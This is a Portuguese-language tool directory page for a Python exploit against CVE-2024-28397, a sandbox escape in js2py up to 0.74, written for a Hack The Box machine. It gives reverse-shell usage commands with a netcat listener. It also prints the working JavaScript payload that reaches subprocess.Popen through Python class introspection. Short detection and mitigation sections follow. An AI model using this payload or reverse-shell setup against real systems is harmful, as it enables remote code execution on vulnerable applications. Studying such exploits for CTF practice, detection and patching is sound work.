Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-28397 — Este repositório contém um código de exploit em Python para a CVE-2024-28397, destinado ao uso na máquina "CodePartTwo" do Hack The Box (HTB). | Kitploit
Ferramentas/GitHubGitHub/naclapor/cve-2024-28397
Análise de VulnerabilidadesExploraçãoCTFTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubnaclapor/cve-2024-28397

CVE-2024-28397

Este repositório contém um código de exploit em Python para a CVE-2024-28397, destinado ao uso na máquina "CodePartTwo" do Hack The Box (HTB).

Ver Repositório
1212há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-28397 js2py Exploit de Escape de Sandbox - (CodePartTwo - HTB)

Um código de exploit em Python para CVE-2024-28397, uma vulnerabilidade crítica em js2py <= 0.74 que permite escape de sandbox e execução remota de código.

🚨 Detalhes da Vulnerabilidade

  • ID do CVE: CVE-2024-28397
  • Software Afetado: js2py <= 0.74
  • Gravidade: Crítica (CVSS 9.8)
  • Tipo: Escape de Sandbox / Execução Remota de Código
  • Data da Descoberta: Fevereiro de 2024

Descrição

js2py é uma biblioteca Python popular para avaliar código JavaScript em ambientes Python. Esta vulnerabilidade permite que atacantes escapem do ambiente de sandbox do js2py e executem comandos arbitrários do Python/sistema, mesmo quando js2py.disable_pyimport() está habilitado.

O exploit aproveita os recursos de introspecção de objetos do Python por meio de JavaScript para acessar a classe subprocess.Popen e executar comandos do sistema.

🎯 Aplicações Afetadas

  • Aplicações web que usam js2py para avaliação de JavaScript
  • Plataformas de execução de código (como editores de código online)
  • Web scrapers que analisam JavaScript
  • Qualquer aplicação que processe JavaScript não confiável por meio do js2py

🚀 Uso

Pré-requisitos

root@kitploit:~
pip install requests

Uso Básico

root@kitploit:~
# Start netcat listener
nc -lnvp 4444

# Run exploit
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444

Opções de Linha de Comando

root@kitploit:~
--target    Target URL endpoint (required)
--lhost     Local IP for reverse shell (required)
--lport     Local port for reverse shell (default: 4444)

Exemplo

root@kitploit:~
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100

🔧 Como Funciona

  1. Geração do Payload: Cria um comando de reverse shell codificado em base64
  2. Escape de Sandbox: Usa JavaScript para acessar a hierarquia de objetos do Python por meio de __class__ e __base__
  3. Execução do Processo: Localiza subprocess.Popen por meio de introspecção
  4. Execução do Comando: Executa o comando de reverse shell usando Popen
  5. Estabelecimento do Shell: Conecta de volta à máquina do atacante

Detalhes Técnicos

O exploit funciona ao:

  • Acessando Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
  • Percorrendo a hierarquia de objetos do Python usando __subclasses__()
  • Encontrando a classe subprocess.Popen
  • Criando um novo processo para executar o reverse shell

📝 Estrutura do Código do Exploit

root@kitploit:~
// Access Python object hierarchy
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");

// Find subprocess.Popen class
function findpopen(o) {
    // Recursive search through subclasses
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
    }
}

// Execute command
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

🛡️ Detecção

Procure por código JavaScript contendo:

  • Acesso a atributos __class__ ou ___class___
  • Chamadas ao método __subclasses__()
  • Referências a subprocess ou Popen
  • Payloads codificados em base64 com printf e base64 -d

🔒 Mitigação

  1. Atualize o js2py: Atualize para uma versão corrigida (> 0.74)
  2. Validação de Entrada: Sanitize o código JavaScript antes da execução
  3. Sandboxing: Use contêineres adicionais (Docker, chroot)
  4. Revisão de Código: Audite os contextos de execução de JavaScript
  5. Regras de WAF: Bloqueie padrões JavaScript suspeitos

⚠️ Aviso Legal

Esta ferramenta é apenas para testes de penetração autorizados e fins educacionais. Os usuários são responsáveis por cumprir as leis e regulamentos aplicáveis. O acesso não autorizado a sistemas de computador é ilegal.

📚 Referências

  • Relatório CVE Original
  • Repositório do js2py no GitHub
  • Detalhes do CVE-2024-28397

📄 Licença

Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.

Baixar ferramenta